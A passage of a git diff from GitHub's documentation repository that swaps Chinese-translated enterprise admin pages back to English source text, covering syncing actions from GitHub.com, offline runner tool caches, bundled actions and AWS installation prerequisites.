utilize actions from GitHub.com in workflow runs（用户在工作流程运行中可以使用 GitHub.com 上的操作）”下，使用下拉菜单选择 **Enabled（已启用）**。 ![工作流程运行中用于访问 GitHub.com 上操作的下拉菜单](/assets/images/enterprise/site-admin-settings/enable-marketplace-actions-drop-down-ae.png) +1. Under "Users can utilize actions from GitHub.com in workflow runs", use the drop-down menu and select **Enabled**. + ![Drop-down menu to actions from GitHub.com in workflows runs](/assets/images/enterprise/site-admin-settings/enable-marketplace-actions-drop-down-ae.png) {%- else %} -1. 在“Server can use actions from GitHub.com in workflows runs（服务器在工作流程运行中可以使用 GitHub.com 上的操作）”下，使用下拉菜单选择 **Enabled（已启用）**。 ![工作流程运行中用于访问 GitHub.com 上操作的下拉菜单](/assets/images/enterprise/site-admin-settings/enable-marketplace-actions-drop-down.png) +1. Under "Server can use actions from GitHub.com in workflows runs", use the drop-down menu and select **Enabled**. + ![Drop-down menu to actions from GitHub.com in workflows runs](/assets/images/enterprise/site-admin-settings/enable-marketplace-actions-drop-down.png) {%- endif %} 1. {% data reusables.actions.enterprise-limit-actions-use %} @@ -53,7 +59,8 @@ After using an action from {% data variables.product.prodname_dotcom_the_website {% data reusables.enterprise_site_admin_settings.access-settings %} 2. In the left sidebar, under **Site admin** click **Retired namespaces**. -3. Locate the namespace that you want use in {% data variables.product.product_location %} and click **Unretire**. ![Unretire namespace](/assets/images/enterprise/site-admin-settings/unretire-namespace.png) +3. Locate the namespace that you want use in {% data variables.product.product_location %} and click **Unretire**. + ![Unretire namespace](/assets/images/enterprise/site-admin-settings/unretire-namespace.png) 4. Go to the relevant organization and create a new repository. {% tip %} diff --git a/translations/zh-CN/content/admin/github-actions/managing-access-to-actions-from-githubcom/manually-syncing-actions-from-githubcom.md b/translations/zh-CN/content/admin/github-actions/managing-access-to-actions-from-githubcom/manually-syncing-actions-from-githubcom.md index 9f7c4e8b19..aca31e0e64 100644 --- a/translations/zh-CN/content/admin/github-actions/managing-access-to-actions-from-githubcom/manually-syncing-actions-from-githubcom.md +++ b/translations/zh-CN/content/admin/github-actions/managing-access-to-actions-from-githubcom/manually-syncing-actions-from-githubcom.md @@ -1,6 +1,6 @@ --- -title: 手动从 GitHub.com 同步操作 -intro: '对于需要访问 {% data variables.product.prodname_dotcom_the_website %} 上操作的用户，您可以将特定操作同步到企业。' +title: Manually syncing actions from GitHub.com +intro: 'For users that need access to actions from {% data variables.product.prodname_dotcom_the_website %}, you can sync specific actions to your enterprise.' redirect_from: - /enterprise/admin/github-actions/manually-syncing-actions-from-githubcom - /admin/github-actions/manually-syncing-actions-from-githubcom @@ -11,7 +11,7 @@ type: tutorial topics: - Actions - Enterprise -shortTitle: 手动同步操作 +shortTitle: Manually sync actions --- {% data reusables.actions.enterprise-beta %} @@ -22,39 +22,39 @@ shortTitle: 手动同步操作 {% ifversion ghes or ghae-next %} -推荐的允许从 {% data variables.product.prodname_dotcom_the_website %} 访问操作的方法是启用自动访问所有操作。 通过使用 {% data variables.product.prodname_github_connect %} 将 {% data variables.product.product_name %} 与 {% data variables.product.prodname_ghe_cloud %} 集成可实现这一点。 更多信息请参阅“[启用使用 {% data variables.product.prodname_github_connect %} 自动访问 {% data variables.product.prodname_dotcom_the_website %} 操作](/enterprise/admin/github-actions/enabling-automatic-access-to-githubcom-actions-using-github-connect)”。 +The recommended approach of enabling access to actions from {% data variables.product.prodname_dotcom_the_website %} is to enable automatic access to all actions. You can do this by using {% data variables.product.prodname_github_connect %} to integrate {% data variables.product.product_name %} with {% data variables.product.prodname_ghe_cloud %}. For more information, see "[Enabling automatic access to {% data variables.product.prodname_dotcom_the_website %} actions using {% data variables.product.prodname_github_connect %}](/enterprise/admin/github-actions/enabling-automatic-access-to-githubcom-actions-using-github-connect)." -但是，如果您想更严格地控制企业中允许的操作，{% else %}{% endif %}您可以按照本指南使用 {% data variables.product.company_short %} 的开源 [`actions-sync`](https://github.com/actions/actions-sync) 工具将各个操作仓库从 {% data variables.product.prodname_dotcom_the_website %} 同步到企业。 +However, if you want stricter control over which actions are allowed in your enterprise, you{% else %}You{% endif %} can follow this guide to use {% data variables.product.company_short %}'s open source [`actions-sync`](https://github.com/actions/actions-sync) tool to sync individual action repositories from {% data variables.product.prodname_dotcom_the_website %} to your enterprise. -## 关于 `actions-sync` 工具 +## About the `actions-sync` tool -`actions-sync` 工具必须在可以访问 {% data variables.product.prodname_dotcom_the_website %} API 和 {% data variables.product.product_name %} 实例的 API 的计算机上运行。 计算机不需要同时连接到两者。 +The `actions-sync` tool must be run on a machine that can access the {% data variables.product.prodname_dotcom_the_website %} API and your {% data variables.product.product_name %} instance's API. The machine doesn't need to be connected to both at the same time. -如果计算机可以同时访问这两个系统，您可以使用单一 `actions-sync sync` 命令进行同步。 如果您一次只能访问一个系统，您可以使用 `actions-sync pull` 和 `push` 命令。 +If your machine has access to both systems at the same time, you can do the sync with a single `actions-sync sync` command. If you can only access one system at a time, you can use the `actions-sync pull` and `push` commands. -`actions-sync` 工具只能从存储在公有仓库中的 {% data variables.product.prodname_dotcom_the_website %} 下载操作。 +The `actions-sync` tool can only download actions from {% data variables.product.prodname_dotcom_the_website %} that are stored in public repositories. {% ifversion ghes > 3.2 or ghae-issue-4815 %} {% note %} -**Note:** The `actions-sync` tool is intended for use in systems where {% data variables.product.prodname_github_connect %} is not enabled. If you run the tool on a system with {% data variables.product.prodname_github_connect %} enabled, you may see the error `The repository has been retired and cannot be reused`. This indicates that a workflow has used that action directly on {% data variables.product.prodname_dotcom_the_website %} and the namespace is retired on {% data variables.product.product_location %}. For more information, see "[Automatic retirement of namespaces for actions accessed on {% data variables.product.prodname_dotcom_the_website%}](/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect#automatic-retirement-of-namespaces-for-actions-accessed-on-githubcom)." +**Note:** The `actions-sync` tool is intended for use in systems where {% data variables.product.prodname_github_connect %} is not enabled. If you run the tool on a system with {% data variables.product.prodname_github_connect %} enabled, you may see the error `The repository has been retired and cannot be reused`. This indicates that a workflow has used that action directly on {% data variables.product.prodname_dotcom_the_website %} and the namespace is retired on {% data variables.product.product_location %}. For more information, see "[Automatic retirement of namespaces for actions accessed on {% data variables.product.prodname_dotcom_the_website%}](/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect#automatic-retirement-of-namespaces-for-actions-accessed-on-githubcom)." {% endnote %} {% endif %} -## 基本要求 +## Prerequisites -* 在使用 `actions-sync` 工具之前，您必须确保所有目标组织已经存在于您的企业中。 以下示例演示如何将操作同步到名为 `synced-actions` 的组织。 更多信息请参阅“[从头开始创建新组织](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch)”。 -* 您必须在企业上创建可以创建并写入目标组织中的仓库的个人访问令牌 (PAT)。 更多信息请参阅“[创建个人访问令牌](/github/authenticating-to-github/creating-a-personal-access-token)”。{% ifversion ghes %} -* 如果您想同步 {% data variables.product.product_location %} 上 `actions` 组织中的捆绑操作，您必须是 `actions` 组织的所有者。 +* Before using the `actions-sync` tool, you must ensure that all destination organizations already exist in your enterprise. The following example demonstrates how to sync actions to an organization named `synced-actions`. For more information, see "[Creating a new organization from scratch](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch)." +* You must create a personal access token (PAT) on your enterprise that can create and write to repositories in the destination organizations. For more information, see "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)."{% ifversion ghes %} +* If you want to sync the bundled actions in the `actions` organization on {% data variables.product.product_location %}, you must be an owner of the `actions` organization. {% note %} - - **注意：** 默认情况下，即使站点管理员也不是捆绑的 `actions` 组织的所有者。 - + + **Note:** By default, even site administrators are not owners of the bundled `actions` organization. + {% endnote %} - 站点管理员可以在管理 shell 中使用 `ghe-org-admin-promot-promotion` 命令将用户升级为捆绑的 `actions` 组织的所有者。 更多信息请参阅“[访问管理 shell (SSH)](/admin/configuration/accessing-the-administrative-shell-ssh)”和“[`ghe-org-admin-promote`](/admin/configuration/command-line-utilities#ghe-org-admin-promote)”。 + Site administrators can use the `ghe-org-admin-promote` command in the administrative shell to promote a user to be an owner of the bundled `actions` organization. For more information, see "[Accessing the administrative shell (SSH)](/admin/configuration/accessing-the-administrative-shell-ssh)" and "[`ghe-org-admin-promote`](/admin/configuration/command-line-utilities#ghe-org-admin-promote)." ```shell ghe-org-admin-promote -u USERNAME -o actions @@ -65,13 +65,14 @@ shortTitle: 手动同步操作 This example demonstrates using the `actions-sync` tool to sync an individual action from {% data variables.product.prodname_dotcom_the_website %} to an enterprise instance. {% note %} -**注**：此示例使用 `actions-sync sync` 命令，它要求从您的计算机同时访问 {% data variables.product.prodname_dotcom_the_website %} API 和企业实例的 API。 如果您一次只能访问一个系统，您可以使用 `actions-sync pull` 和 `push` 命令。 更多信息请参阅 [`actions-sync` README](https://github.com/actions/actions-sync#not-connected-instances)。 + +**Note:** This example uses the `actions-sync sync` command, which requires concurrent access to both the {% data variables.product.prodname_dotcom_the_website %} API and your enterprise instance's API from your machine. If you can only access one system at a time, you can use the `actions-sync pull` and `push` commands. For more information, see the [`actions-sync` README](https://github.com/actions/actions-sync#not-connected-instances). {% endnote %} -1. 为机器的操作系统下载并提取最新的 [`actions-sync` release](https://github.com/actions/actions-sync/releases)。 -1. 创建一个目录来存储工具的缓存文件。 -1. 运行 `actions-sync sync` 命令： +1. Download and extract the latest [`actions-sync` release](https://github.com/actions/actions-sync/releases) for your machine's operating system. +1. Create a directory to store cache files for the tool. +1. Run the `actions-sync sync` command: ```shell ./actions-sync sync \ @@ -81,20 +82,20 @@ This example demonstrates using the `actions-sync` tool to sync an individual ac --repo-name "actions/stale:synced-actions/actions-stale" ``` - 上述命令使用以下参数： - - * `--cache-dir`：运行命令的计算机上的缓存目录。 - * `--destination-toke`：目标企业实例的个人访问令牌。 - * `--destination-url`：目标企业实例的 URL。 - * `--repo-name`：要同步的操作仓库。 这将使用格式 `owner/repository:destination_owner/destination_repository`。 - - * 上面的示例将 [`actions/stale`](https://github.com/actions/stale) 仓库同步到目标企业实例上的 `synced-actions/actions-stale` 仓库。 在运行上述命令之前，您必须在企业中创建名为 `synced-actions` 的组织。 - * 如果您省略 `:destination_owners/destination_repost`，工具将使用企业的原始所有者和仓库名称。 在运行命令之前，必须在企业中创建一个与操作的所有者名称匹配的新组织。 考虑使用一个中心组织来存储企业中同步的操作，因为这样在同步来自不同所有者的操作时，将无需创建多个新的组织。 - * 将 `--repo-name` 参数替换为 `--repo-name-list` 或 `--repo-name-list-file` 便可同步多个操作。 更多信息请参阅 [`actions-sync` README](https://github.com/actions/actions-sync#actions-sync)。 -1. 在企业中创建操作仓库后，企业中的人员可以使用目标仓库在其工作流程中引用操作。 对于上面显示的示例操作： + The above command uses the following arguments: + * `--cache-dir`: The cache directory on the machine running the command. + * `--destination-token`: A personal access token for the destination enterprise instance. + * `--destination-url`: The URL of the destination enterprise instance. + * `--repo-name`: The action repository to sync. This takes the format of `owner/repository:destination_owner/destination_repository`. + + * The above example syncs the [`actions/stale`](https://github.com/actions/stale) repository to the `synced-actions/actions-stale` repository on the destination enterprise instance. You must create the organization named `synced-actions` in your enterprise before running the above command. + * If you omit `:destination_owner/destination_repository`, the tool uses the original owner and repository name for your enterprise. Before running the command, you must create a new organization in your enterprise that matches the owner name of the action. Consider using a central organization to store the synced actions in your enterprise, as this means you will not need to create multiple new organizations if you sync actions from different owners. + * You can sync multiple actions by replacing the `--repo-name` parameter with `--repo-name-list` or `--repo-name-list-file`. For more information, see the [`actions-sync` README](https://github.com/actions/actions-sync#actions-sync). +1. After the action repository is created in your enterprise, people in your enterprise can use the destination repository to reference the action in their workflows. For the example action shown above: + ```yaml uses: synced-actions/actions-stale@v1 ``` - 更多信息请参阅“[GitHub Actions 的工作流程语法](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsuses)”。 + For more information, see "[Workflow syntax for GitHub Actions](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsuses)." diff --git a/translations/zh-CN/content/admin/github-actions/managing-access-to-actions-from-githubcom/setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access.md b/translations/zh-CN/content/admin/github-actions/managing-access-to-actions-from-githubcom/setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access.md index 21cf1629e5..abac8e869b 100644 --- a/translations/zh-CN/content/admin/github-actions/managing-access-to-actions-from-githubcom/setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access.md +++ b/translations/zh-CN/content/admin/github-actions/managing-access-to-actions-from-githubcom/setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access.md @@ -1,6 +1,6 @@ --- -title: 在未接入互联网的自托管运行器上设置工具缓存 -intro: 要在没有互联网连接的自托管运行器上使用包含的 ' actions/setup' 操作，您必须先为工作流程填充运行器的工具缓存。 +title: Setting up the tool cache on self-hosted runners without internet access +intro: 'To use the included `actions/setup` actions on self-hosted runners without internet access, you must first populate the runner''s tool cache for your workflows.' redirect_from: - /enterprise/admin/github-actions/setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access - /admin/github-actions/setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access @@ -13,41 +13,40 @@ topics: - Enterprise - Networking - Storage -shortTitle: 离线运行器的工具缓存 +shortTitle: Tool cache for offline runners --- - {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.actions.ae-beta %} -## 关于包含的设置操作和运行器工具缓存 +## About the included setup actions and the runner tool cache {% data reusables.actions.enterprise-no-internet-actions %} -大多数官方 {% data variables.product.prodname_dotcom %} 编写的操作都会自动与 {% data variables.product.product_name %} 捆绑在一起。 但是，没有接入互联网的自托管运行器需要进行一些配置，然后才能使用包含的 `actions/setup-LANGUAGE` 操作，例如 `setup-node`。 +Most official {% data variables.product.prodname_dotcom %}-authored actions are automatically bundled with {% data variables.product.product_name %}. However, self-hosted runners without internet access require some configuration before they can use the included `actions/setup-LANGUAGE` actions, such as `setup-node`. -`actions/setup-LANGUAGE` 操作通常需要接入互联网才能将所需的环境二进制文件下载到运行器的工具缓存。 没有互联网连接的自托管运行器无法下载二进制文件，所以您必须手动填充运行器上的工具缓存。 +The `actions/setup-LANGUAGE` actions normally need internet access to download the required environment binaries into the runner's tool cache. Self-hosted runners without internet access can't download the binaries, so you must manually populate the tool cache on the runner. -您可以通过在 {% data variables.product.prodname_dotcom_the_website %} 上运行 {% data variables.product.prodname_actions %} 工作流程来填充运行器工具缓存，该工作流程将 {% data variables.product.prodname_dotcom %} 托管的运行器的工具缓存作为项目上传，然后可以在互联网断开的自托管运行器上传输和提取。 +You can populate the runner tool cache by running a {% data variables.product.prodname_actions %} workflow on {% data variables.product.prodname_dotcom_the_website %} that uploads a {% data variables.product.prodname_dotcom %}-hosted runner's tool cache as an artifact, which you can then transfer and extract on your internet-disconnected self-hosted runner. {% note %} -**注：**您只能对拥有相同操作系统和架构的自托管运行器使用 {% data variables.product.prodname_dotcom %} 托管的运行器工具缓存。 例如，如果您使用 `ubuntu-18.04` {% data variables.product.prodname_dotcom %} 托管的运行器生成工具缓存，则自托管运行器必须是 64 位 Ubuntu 18.04 计算机。 有关 {% data variables.product.prodname_dotcom %} 托管的运行器的更多信息，请参阅“GitHub 托管运行器的虚拟环境”。 +**Note:** You can only use a {% data variables.product.prodname_dotcom %}-hosted runner's tool cache for a self-hosted runner that has an identical operating system and architecture. For example, if you are using a `ubuntu-18.04` {% data variables.product.prodname_dotcom %}-hosted runner to generate a tool cache, your self-hosted runner must be a 64-bit Ubuntu 18.04 machine. For more information on {% data variables.product.prodname_dotcom %}-hosted runners, see "Virtual environments for GitHub-hosted runners." {% endnote %} -## 基本要求 +## Prerequisites -* 确定自托管运行器需要哪些开发环境。 下面的示例演示如何使用 Node.js 版本 10 和 12 填充 `setup-node` 操作的工具缓存。 -* 访问可用于运行工作流程的 {% data variables.product.prodname_dotcom_the_website %} 上的仓库。 -* 访问自托管运行器的文件系统以填充工具缓存文件夹。 +* Determine which development environments your self-hosted runners will need. The following example demonstrates how to populate a tool cache for the `setup-node` action, using Node.js versions 10 and 12. +* Access to a repository on {% data variables.product.prodname_dotcom_the_website %} that you can use to run a workflow. +* Access to your self-hosted runner's file system to populate the tool cache folder. -## 填充自托管运行器的工具缓存 +## Populating the tool cache for a self-hosted runner -1. 在 {% data variables.product.prodname_dotcom_the_website %} 上，导航到可用于运行 {% data variables.product.prodname_actions %} 工作流程的仓库。 -1. 在仓库的 `.github/workflow` 文件夹中创建一个新的工作流程文件，用于上传包含 {% data variables.product.prodname_dotcom %} 托管的运行器工具缓存的构件。 +1. On {% data variables.product.prodname_dotcom_the_website %}, navigate to a repository that you can use to run a {% data variables.product.prodname_actions %} workflow. +1. Create a new workflow file in the repository's `.github/workflows` folder that uploads an artifact containing the {% data variables.product.prodname_dotcom %}-hosted runner's tool cache. - 下面的示例演示了使用 Node.js 版本 10 和 12 的 `setup-node` 操作为 Ubuntu 18.04 环境上传工具缓存的工作流程。 + The following example demonstrates a workflow that uploads the tool cache for an Ubuntu 18.04 environment, using the `setup-node` action with Node.js versions 10 and 12. {% raw %} ```yaml @@ -79,10 +78,10 @@ shortTitle: 离线运行器的工具缓存 path: ${{runner.tool_cache}}/tool_cache.tar.gz ``` {% endraw %} -1. 从工作流程运行下载工具缓存构件。 有关下载构件的说明，请参阅“[下载工作流程构件](/actions/managing-workflow-runs/downloading-workflow-artifacts)”。 -1. 将工具缓存构件传输到自托管的运行器，并将其提取到本地工具缓存目录。 默认工具缓存目录是 `RUNNER_DIR/_work/_tool`。 如果运行器尚未处理任何任务，您可能需要创建 `_work/_tool` 目录。 +1. Download the tool cache artifact from the workflow run. For instructions on downloading artifacts, see "[Downloading workflow artifacts](/actions/managing-workflow-runs/downloading-workflow-artifacts)." +1. Transfer the tool cache artifact to your self hosted runner and extract it to the local tool cache directory. The default tool cache directory is `RUNNER_DIR/_work/_tool`. If the runner hasn't processed any jobs yet, you might need to create the `_work/_tool` directories. - 提取上述示例中上传的工具缓存构件后，自托管运行器上应具有类似于以下示例的目录结构： + After extracting the tool cache artifact uploaded in the above example, you should have a directory structure on your self-hosted runner that is similar to the following example: ``` RUNNER_DIR @@ -97,4 +96,4 @@ shortTitle: 离线运行器的工具缓存 └── ... ``` -没有互联网接入的自托管运行器现在应该能够使用 `setup-node` 操作。 如果遇到问题，请确保已为工作流程填充了正确的工具缓存。 例如，如果您需要使用 `setup-python` 操作，则需要通过要使用的 Python 环境填充工具缓存。 +Your self-hosted runner without internet access should now be able to use the `setup-node` action. If you are having problems, make sure that you have populated the correct tool cache for your workflows. For example, if you need to use the `setup-python` action, you will need to populate the tool cache with the Python environment you want to use. diff --git a/translations/zh-CN/content/admin/github-actions/managing-access-to-actions-from-githubcom/using-the-latest-version-of-the-official-bundled-actions.md b/translations/zh-CN/content/admin/github-actions/managing-access-to-actions-from-githubcom/using-the-latest-version-of-the-official-bundled-actions.md index 7f77b9359a..a4e9e42420 100644 --- a/translations/zh-CN/content/admin/github-actions/managing-access-to-actions-from-githubcom/using-the-latest-version-of-the-official-bundled-actions.md +++ b/translations/zh-CN/content/admin/github-actions/managing-access-to-actions-from-githubcom/using-the-latest-version-of-the-official-bundled-actions.md @@ -1,6 +1,6 @@ --- -title: 使用官方捆绑操作的最新版本 -intro: '您可以更新与企业捆绑的操作，或直接从 {% data variables.product.prodname_dotcom_the_website %} 使用操作。' +title: Using the latest version of the official bundled actions +intro: 'You can update the actions that are bundled with your enterprise, or use actions directly from {% data variables.product.prodname_dotcom_the_website %}.' versions: ghes: '*' ghae: next @@ -11,37 +11,42 @@ topics: - GitHub Connect redirect_from: - /admin/github-actions/using-the-latest-version-of-the-official-bundled-actions -shortTitle: 使用最新的捆绑操作 +shortTitle: Use the latest bundled actions --- - {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.actions.ae-beta %} -您的企业实例包含一些您可以在工作流程中使用的内置操作。 有关捆绑操作的更多信息，请参阅[“与企业实例捆绑的正式操作”](/admin/github-actions/about-using-actions-in-your-enterprise#official-actions-bundled-with-your-enterprise-instance)。 +Your enterprise instance includes a number of built-in actions that you can use in your workflows. For more information about the bundled actions, see "[Official actions bundled with your enterprise instance](/admin/github-actions/about-using-actions-in-your-enterprise#official-actions-bundled-with-your-enterprise-instance)." -这些捆绑的操作是在 https://github.com/actions 上找到的正式操作的即时快照；因此，这些操作可能有更新的版本。 您可以使用 `actions-sync` 工具更新这些操作，也可以配置 {% data variables.product.prodname_github_connect %} 允许访问 {% data variables.product.prodname_dotcom_the_website %} 上的最新操作。 以下各节介绍了这些选项。 +These bundled actions are a point-in-time snapshot of the official actions found at https://github.com/actions, so there may be newer versions of these actions available. You can use the `actions-sync` tool to update these actions, or you can configure {% data variables.product.prodname_github_connect %} to allow access to the latest actions on {% data variables.product.prodname_dotcom_the_website %}. These options are described in the following sections. -## 使用 `actions-sync` 更新捆绑的操作 +## Using `actions-sync` to update the bundled actions -要更新捆绑的操作，您可以使用 `actions-sync` 工具来更新快照。 有关使用 `actions-sync` 的更多信息，请参阅“[手动从 {% data variables.product.prodname_dotcom_the_website %} 同步选项](/admin/github-actions/manually-syncing-actions-from-githubcom)”。 +To update the bundled actions, you can use the `actions-sync` tool to update the snapshot. For more information on using `actions-sync`, see "[Manually syncing actions from {% data variables.product.prodname_dotcom_the_website %}](/admin/github-actions/manually-syncing-actions-from-githubcom)." -## 使用 {% data variables.product.prodname_github_connect %} 访问最新操作 +## Using {% data variables.product.prodname_github_connect %} to access the latest actions -您可以使用 {% data variables.product.prodname_github_connect %} 允许 {% data variables.product.product_name %} 使用来自 {% data variables.product.prodname_dotcom_the_website %} 的操作。 更多信息请参阅“[启用使用 {% data variables.product.prodname_github_connect %} 自动访问 {% data variables.product.prodname_dotcom_the_website %} 操作](/admin/github-actions/enabling-automatic-access-to-githubcom-actions-using-github-connect)”。 +You can use {% data variables.product.prodname_github_connect %} to allow {% data variables.product.product_name %} to use actions from {% data variables.product.prodname_dotcom_the_website %}. For more information, see "[Enabling automatic access to {% data variables.product.prodname_dotcom_the_website %} actions using {% data variables.product.prodname_github_connect %}](/admin/github-actions/enabling-automatic-access-to-githubcom-actions-using-github-connect)." -配置 {% data variables.product.prodname_github_connect %} 后，您可以在实例上的 `actions` 组织中删除其本地仓库，以使用最新版本的操作。 例如，如果您的企业实例使用 `actions/checkout@v1` 操作，而且您需要使用在您的企业实例中不可用的 `actions/checkout@v2` ，执行以下步骤便可使用来自 {% data variables.product.prodname_dotcom_the_website %} 的最新 `checkout` 操作： +Once {% data variables.product.prodname_github_connect %} is configured, you can use the latest version of an action by deleting its local repository in the `actions` organization on your instance. For example, if your enterprise instance is using the `actions/checkout@v1` action, and you need to use `actions/checkout@v2` which isn't available on your enterprise instance, perform the following steps to be able to use the latest `checkout` action from {% data variables.product.prodname_dotcom_the_website %}: -1. 从 {% data variables.product.product_name %}上的企业所有者帐户导航到您想要从*操作*组织中删除的仓库（本例中为 `checkout`）。 -1. 默认情况下，站点管理员不是捆绑的*操作*组织的所有者。 要获得删除 `checkout` 仓库所需的访问权限，您必须使用站点管理员工具。 在该仓库中任何页面的右上角单击 {% octicon "rocket" aria-label="The rocket ship" %}。 ![用于访问站点管理员设置的火箭图标](/assets/images/enterprise/site-admin-settings/access-new-settings.png) -1. 单击 {% octicon "shield-lock" %} **Security（安全）**查看仓库的安全概述。 ![仓库的安全标头](/assets/images/enterprise/site-admin-settings/access-repo-security-info.png) -1. 在“Privileged access（特权访问）”下，单击 **Unlock（解锁）**。 ![解锁按钮](/assets/images/enterprise/site-admin-settings/unlock-priviledged-repo-access.png) -1. 在 **Reason（原因）**下，输入解锁仓库的理由，然后点击 **Unlock（解锁）**。 ![确认对话框](/assets/images/enterprise/site-admin-settings/confirm-unlock-repo-access.png) -1. 现在，仓库已解锁，您可以离开网站管理员页面，并删除 `actions` 组织中的仓库。 在页面顶部，单击仓库名称，在此示例中为 **checkout**，以返回到摘要页面。 ![仓库名称链接](/assets/images/enterprise/site-admin-settings/display-repository-admin-summary.png) -1. 在“Repository info（仓库信息）”下，点击 **View code（查看代码）**离开站点管理员页面并显示 `checkout` 仓库。 -1. 删除 `actions` 组织中的 `checkout` 仓库。 有关如何删除仓库的信息，请参阅“[删除仓库](/github/administering-a-repository/deleting-a-repository)”。 ![查看代码链接](/assets/images/enterprise/site-admin-settings/exit-admin-page-for-repository.png) -1. 配置您的工作流程的 YAML 以使用 `actions/checkout@v2`。 -1. 每次您的工作流程运行时，运行器将从 {% data variables.product.prodname_dotcom_the_website %} 中使用 `v2` 版本的 `actions/checkout`。 +1. From an enterprise owner account on {% data variables.product.product_name %}, navigate to the repository you want to delete from the *actions* organization (in this example `checkout`). +1. By default, site administrators are not owners of the bundled *actions* organization. To get the access required to delete the `checkout` repository, you must use the site admin tools. Click {% octicon "rocket" aria-label="The rocket ship" %} in the upper-right corner of any page in that repository. + ![Rocketship icon for accessing site admin settings](/assets/images/enterprise/site-admin-settings/access-new-settings.png) +1. Click {% octicon "shield-lock" %} **Security** to see the security overview for the repository. + ![Security header the repository](/assets/images/enterprise/site-admin-settings/access-repo-security-info.png) +1. Under "Privileged access", click **Unlock**. + ![Unlock button](/assets/images/enterprise/site-admin-settings/unlock-priviledged-repo-access.png) +1. Under **Reason**, type a reason for unlocking the repository, then click **Unlock**. + ![Confirmation dialog](/assets/images/enterprise/site-admin-settings/confirm-unlock-repo-access.png) +1. Now that the repository is unlocked, you can leave the site admin pages and delete the repository within the `actions` organization. At the top of the page, click the repository name, in this example **checkout**, to return to the summary page. + ![Repository name link](/assets/images/enterprise/site-admin-settings/display-repository-admin-summary.png) +1. Under "Repository info", click **View code** to leave the site admin pages and display the `checkout` repository. +1. Delete the `checkout` repository within the `actions` organization. For information on how to delete a repository, see "[Deleting a repository](/github/administering-a-repository/deleting-a-repository)." + ![View code link](/assets/images/enterprise/site-admin-settings/exit-admin-page-for-repository.png) +1. Configure your workflow's YAML to use `actions/checkout@v2`. +1. Each time your workflow runs, the runner will use the `v2` version of `actions/checkout` from {% data variables.product.prodname_dotcom_the_website %}. {% ifversion ghes > 3.2 or ghae-issue-4815 %} {% note %} diff --git a/translations/zh-CN/content/admin/index.md b/translations/zh-CN/content/admin/index.md index 27e471570e..cf364b8e3a 100644 --- a/translations/zh-CN/content/admin/index.md +++ b/translations/zh-CN/content/admin/index.md @@ -1,7 +1,7 @@ --- -title: 企业管理员文档 -shortTitle: 企业管理员 -intro: '适用于{% ifversion ghes %}部署、{% endif %}配置{% ifversion ghes %}、{% endif %}和管理 {% data variables.product.product_name %} 的企业管理员{% ifversion ghes %}、系统管理员{% endif %}和安全专家的文档和指南。' +title: Enterprise administrator documentation +shortTitle: Enterprise administrators +intro: 'Documentation and guides for enterprise administrators{% ifversion ghes %}, system administrators,{% endif %} and security specialists who {% ifversion ghes %}deploy, {% endif %}configure{% ifversion ghes %},{% endif %} and manage {% data variables.product.product_name %}.' redirect_from: - /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-account - /github/setting-up-and-managing-your-enterprise diff --git a/translations/zh-CN/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-aws.md b/translations/zh-CN/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-aws.md index 8aca6f953b..d857ebcd73 100644 --- a/translations/zh-CN/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-aws.md +++ b/translations/zh-CN/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-aws.md @@ -1,6 +1,6 @@ --- -title: 在 AWS 上安装 GitHub Enterprise Server -intro: '要在 Amazon Web Services (AWS) 上安装 {% data variables.product.prodname_ghe_server %}，您必须启动 Amazon Elastic Compute Cloud (EC2) 实例并创建和连接单独的 Amazon Elastic Block Store (EBS) 数据卷。' +title: Installing GitHub Enterprise Server on AWS +intro: 'To install {% data variables.product.prodname_ghe_server %} on Amazon Web Services (AWS), you must launch an Amazon Elastic Compute Cloud (EC2) instance and create and attach a separate Amazon Elastic Block Store (EBS) data volume.' redirect_from: - /enterprise/admin/guides/installation/installing-github-enterprise-on-aws/ - /enterprise/admin/installation/installing-github-enterprise-server-on-aws @@ -13,103 +13,103 @@ topics: - Enterprise - Infrastructure - Set up -shortTitle: 在 AWS 上安装 +shortTitle: Install on AWS --- - -## 基本要求 +## Prerequisites - {% data reusables.enterprise_installation.software-license %} -- 您必须具有能够启动 EC2 实例和创建 EBS 卷的 AWS 帐户。 更多信息请参阅 [Amazon Web Services 网站](https://aws.amazon.com/)。 -- 启动 {% data variables.product.product_location %} 所需的大部分操作也可以使用 AWS 管理控制台执行。 不过，我们建议安装 AWS 命令行接口 (CLI) 进行初始设置。 下文介绍了使用 AWS CLI 的示例。 更多信息请参阅 Amzon 指南“[使用 AWS 管理控制台](http://docs.aws.amazon.com/awsconsolehelpdocs/latest/gsg/getting-started.html)”和“[什么是 AWS 命令行接口](http://docs.aws.amazon.com/cli/latest/userguide/cli-chap-welcome.html)”。 +- You must have an AWS account capable of launching EC2 instances and creating EBS volumes. For more information, see the [Amazon Web Services website](https://aws.amazon.com/). +- Most actions needed to launch {% data variables.product.product_location %} may also be performed using the AWS management console. However, we recommend installing the AWS command line interface (CLI) for initial setup. Examples using the AWS CLI are included below. For more information, see Amazon's guides "[Working with the AWS Management Console](http://docs.aws.amazon.com/awsconsolehelpdocs/latest/gsg/getting-started.html)" and "[What is the AWS Command Line Interface](http://docs.aws.amazon.com/cli/latest/userguide/cli-chap-welcome.html)." -本指南假定您已熟悉以下 AWS 概念： +This guide assumes you are 